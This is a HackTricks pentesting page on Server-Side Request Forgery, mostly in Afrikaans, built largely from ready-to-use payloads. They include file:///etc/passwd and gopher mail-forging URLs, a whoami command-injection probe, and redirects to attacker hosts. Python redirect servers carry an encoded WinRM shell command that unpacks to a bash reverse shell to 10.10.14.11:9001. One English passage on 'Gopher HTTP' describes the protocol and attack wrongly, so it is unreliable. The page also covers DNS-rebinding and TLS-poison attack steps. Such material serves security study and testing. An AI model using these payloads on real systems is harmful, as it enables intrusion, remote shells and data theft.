.. | ||
cloud-ssrf.md | ||
README.md | ||
ssrf-vulnerable-platforms.md | ||
url-format-bypass.md |
SSRF (Server Side Request Forgery)
Gebruik Trickest om maklik en outomaties werkstrome te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslagplekke.
Basiese Inligting
'n Server-side Request Forgery (SSRF) kwesbaarheid kom voor wanneer 'n aanvaller 'n server-side toepassing manipuleer om HTTP-versoeke na 'n domein van hul keuse te maak. Hierdie kwesbaarheid stel die bediener bloot aan willekeurige eksterne versoeke wat deur die aanvaller gerig word.
Vang SSRF
Die eerste ding wat jy moet doen, is om 'n SSRF-interaksie wat deur jou gegenereer is, vas te vang. Om 'n HTTP- of DNS-interaksie vas te vang, kan jy gereedskap soos die volgende gebruik:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - 'n Burp Collaborator wat ngrok gebruik
Whitelisted Domeine Omspring
Gewoonlik sal jy vind dat die SSRF slegs werk in sekere toegelate domeine of URL's. Op die volgende bladsy het jy 'n samestelling van tegnieke om te probeer om daardie witlys te omseil:
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Omseiling via oop omleiding
As die bediener korrek beskerm is, kan jy al die beperkings omseil deur 'n Oop Omleiding binne die webblad uit te buit. Omdat die webblad SSRF na dieselfde domein toelaat en waarskynlik omleidings volg, kan jy die Oop Omleiding uitbuit om die bediener toegang te gee tot enige interne hulpbron.
Lees meer hier: https://portswigger.net/web-security/ssrf
Protokolle
-
file://
-
Die URL-skema
file://
word verwys na/etc/passwd
:file:///etc/passwd
-
dict://
-
Die DICT URL-skema word beskryf as 'n metode om definisies of woordelyste te ontsluit deur middel van die DICT-protokol. 'n Voorbeeld illustreer 'n gekonstrueerde URL wat 'n spesifieke woord, databasis en inskrywingnommer teiken, sowel as 'n voorbeeld van 'n PHP-skripsie wat moontlik misbruik kan word om 'n verbinding met 'n DICT-bediener te maak deur aanvaller-verskafte geloofsbriewe te gebruik:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
-
SFTP://
-
Geïdentifiseer as 'n protokol vir veilige lêeroordrag oor veilige skulp, word 'n voorbeeld verskaf wat wys hoe 'n PHP-skripsie uitgebuit kan word om 'n kwaadwillige SFTP-bediener te koppel:
url=sftp://generic.com:11111/
-
TFTP://
-
Trivial File Transfer Protocol, wat oor UDP werk, word genoem met 'n voorbeeld van 'n PHP-skripsie wat ontwerp is om 'n versoek na 'n TFTP-bediener te stuur. 'n TFTP-versoek word gerig aan 'generic.com' op poort '12346' vir die lêer 'TESTUDPPACKET':
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
-
LDAP://
-
Hierdie segment dek die Lightweight Directory Access Protocol en beklemtoon die gebruik daarvan vir die bestuur en toegang tot verspreide gidsinligtingsdienste oor IP-netwerke. Interageer met 'n LDAP-bediener op die plaaslike rekenaar:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
-
SMTP
-
'n Metode word beskryf vir die uitbuiting van SSRF-kwesbaarhede om te interageer met SMTP-dienste op die plaaslike rekenaar, insluitend stappe om interne domeinname te onthul en verdere ondersoekende aksies gebaseer op daardie inligting.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF omseiling
- As die SSRF uitgevoer word deur curl, het curl 'n funksie genaamd URL globbing wat nuttig kan wees om WAFs te omseil. Byvoorbeeld in hierdie writeup kan jy hierdie voorbeeld vind vir 'n padtraversal via
file
protokol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Die Gopher-protokol se vermoë om IP, poort en bytes vir bediener kommunikasie te spesifiseer, word bespreek, saam met gereedskap soos Gopherus en remote-method-guesser vir die skep van payloads. Twee onderskeie gebruike word geïllustreer:
Gopher://
Met behulp van hierdie protokol kan jy die IP, poort en bytes spesifiseer wat jy wil hê die bediener moet stuur. Dan kan jy basies 'n SSRF uitbuit om met enige TCP-bedieners te kommunikeer (maar jy moet eers weet hoe om met die diens te praat).
Gelukkig kan jy Gopherus gebruik om payloads vir verskeie dienste te skep. Daarbenewens kan remote-method-guesser gebruik word om gopher payloads vir Java RMI dienste te skep.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
Gopher HTTP is a protocol that allows the retrieval of documents over HTTP using the Gopher protocol. It can be used as a technique for Server-Side Request Forgery (SSRF) attacks.
In a SSRF attack, an attacker tricks the server into making requests to unintended internal resources. By leveraging Gopher HTTP, an attacker can bypass restrictions and access internal resources that are not directly accessible over HTTP.
To perform a Gopher HTTP SSRF attack, the attacker crafts a Gopher URL that includes the desired HTTP request. The server, unaware of the Gopher HTTP protocol, treats the URL as a regular HTTP request and sends it to the specified destination.
Here is an example of a Gopher HTTP SSRF attack:
gopher://attacker.com:80/_GET%20/http://internal-resource.com/secret
In this example, the attacker's Gopher server listens on port 80 and the Gopher URL includes an HTTP GET request to http://internal-resource.com/secret
. The server, thinking it is a regular HTTP request, sends the request to internal-resource.com
and returns the response to the attacker.
To prevent Gopher HTTP SSRF attacks, it is important to validate and sanitize user-supplied URLs before making any requests. Additionally, network-level protections such as firewalls and access controls can help mitigate the risk of SSRF attacks.
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP - Terugkoppeling na 1337
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
SSRF via Verwysingskop & Ander
Analitiese sagteware op bedieners hou dikwels die Verwysingskop by om inkomende skakels te volg, 'n praktyk wat onbedoeld programme blootstel aan Server-Side Request Forgery (SSRF) kwesbaarhede. Dit is omdat sulke sagteware eksterne URL's wat in die Verwysingskop genoem word, kan besoek om verwysingsite-inhoud te analiseer. Om hierdie kwesbaarhede bloot te lê, word die Burp Suite-invoegtoepassing "Collaborator Everywhere" aanbeveel, wat gebruik maak van die manier waarop analitiese gereedskap die Verwysingskop verwerk om potensiële SSRF-aanvalsoppervlaktes te identifiseer.
SSRF via SNI-data van sertifikaat
'n Foutiewe konfigurasie wat die verbinding met enige agterste gedeelte moontlik maak deur middel van 'n eenvoudige opstelling, word geïllustreer met 'n voorbeeld Nginx-konfigurasie:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
In hierdie konfigurasie word die waarde van die Server Name Indication (SNI) veld direk gebruik as die agterkant se adres. Hierdie opset stel 'n kwesbaarheid bloot vir Server-Side Request Forgery (SSRF), wat uitgebuit kan word deur eenvoudigweg die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. 'n Voorbeeld van uitbuiting om 'n verbinding na 'n willekeurige agterkant, soos internal.host.com
, te dwing deur die openssl
-opdrag, word hieronder gegee:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Wget-lêeroplaai
SSRF met Opdraginspuiting
Dit mag die moeite werd wees om 'n payload soos hierdie te probeer: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDF's Render
As die webblad outomaties 'n PDF skep met inligting wat jy verskaf het, kan jy 'n bietjie JS invoeg wat deur die PDF-skepper self (die bediener) uitgevoer sal word terwyl die PDF geskep word, en jy sal 'n SSRF kan misbruik. Vind meer inligting hier.
Van SSRF na DoS
Skep verskeie sessies en probeer swaar lêers aflaai deur die SSRF vanuit die sessies te misbruik.
SSRF PHP-funksies
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
SSRF Omskakeling na Gopher
Vir sommige uitbuitings mag jy 'n omleidingreaksie stuur (moontlik om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende Python-kodes om te reageer met 'n omleiding:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Gebruik Trickest om maklik en outomatiese werksvloeie te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
DNS Rebidding CORS/SOP omseiling
As jy probleme ondervind om inhoud van 'n plaaslike IP uit te voer as gevolg van CORS/SOP, kan DNS Rebidding gebruik word om daardie beperking te omseil:
{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}
Outomatiese DNS Rebidding
Singularity of Origin
is 'n instrument om DNS rebinding-aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalbediener se DNS-naam te herbind na die teikermasjien se IP-adres en om aanvalsladinge te bedien om kwesbare sagteware op die teikermasjien uit te buit.
Kyk ook na die openbaar lopende bediener in http://rebind.it/singularity.html
DNS Rebidding + TLS-sessie-ID/Sessiekaartjie
Vereistes:
- SSRF
- Uitgaande TLS-sessies
- Dinge op plaaslike poorte
Aanval:
- Vra die gebruiker/bot om 'n domein wat deur die aanvaller beheer word, te benader
- Die TTL van die DNS is 0 sek (sodat die slagoffer binnekort weer die IP van die domein sal nagaan)
- 'n TLS-verbinding word tussen die slagoffer en die domein van die aanvaller geskep. Die aanvaller voeg die aanvalslading binne die Sessie-ID of Sessiekaartjie in.
- Die domein sal 'n oneindige lus van omleidings teen homself begin. Die doel hiervan is om die gebruiker/bot die domein te laat benader totdat dit weer 'n DNS-versoek van die domein uitvoer.
- In die DNS-versoek word 'n privaat IP-adres nou gegee (byvoorbeeld 127.0.0.1)
- Die gebruiker/bot sal probeer om die TLS-verbinding te herstel en om dit te doen, sal dit die Sessie-ID/Sessiekaartjie stuur (waar die aanvalslading van die aanvaller bevat was). So geluk, jy het dit reggekry om die gebruiker/bot homself te laat aanval.
Let daarop dat tydens hierdie aanval, as jy localhost:11211 (memcache) wil aanval, moet jy die slagoffer die aanvanklike verbinding met www.attacker.com:11211 laat vestig (die poort moet altyd dieselfde wees).
Om hierdie aanval uit te voer, kan jy die instrument gebruik: https://github.com/jmdx/TLS-poison/
Vir meer inligting, kyk na die praatjie waarin hierdie aanval verduidelik word: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blinde SSRF
Die verskil tussen 'n blinde SSRF en 'n nie-blinde een is dat jy in die blinde nie die respons van die SSRF-versoek kan sien nie. Dit is dus moeiliker om uit te buit omdat jy slegs bekende kwesbaarhede kan uitbuit.
Tyd-gebaseerde SSRF
Deur die tyd van die respons van die bediener te ondersoek, kan dit moontlik wees om te weet of 'n bron bestaan of nie (miskien neem dit langer tyd om 'n bestaande bron te benader as om een te benader wat nie bestaan nie)
Cloud SSRF-uitbuiting
As jy 'n SSRF-kwesbaarheid in 'n masjien wat binne 'n wolkomgewing loop, vind, kan jy interessante inligting oor die wolkomgewing verkry en selfs legitimasie:
{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}
SSRF Kwesbare Platforms
Verskeie bekende platforms bevat of het SSRF-kwesbaarhede bevat, kyk na hulle in:
{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}
Instrumente
SSRFMap
Instrument om SSRF-kwesbaarhede op te spoor en uit te buit
Gopherus
Hierdie instrument genereer Gopher-ladinge vir:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser is 'n Java RMI-kwesbaarheidsskander wat aanvalsoperasies vir die meeste algemene Java RMI-kwesbaarhede ondersteun. Die meeste van die beskikbare operasies ondersteun die --ssrf
-opsie om 'n SSRF-aanvalslading vir die versoekte operasie te genereer. Saam met die --gopher
-opsie kan gereedskap vir gopher direk gegenereer word.
SSRF Proxy
SSRF Proxy is 'n veelvoudige-draad HTTP-proksibediener wat ontwerp is om kliënt-HTTP-verkeer deur HTTP-bedieners wat vatbaar is vir Server-Side Request Forgery (SSRF) te tunnel.
Om te oefen
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
Verwysings
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou **maatskappy in HackTricks wil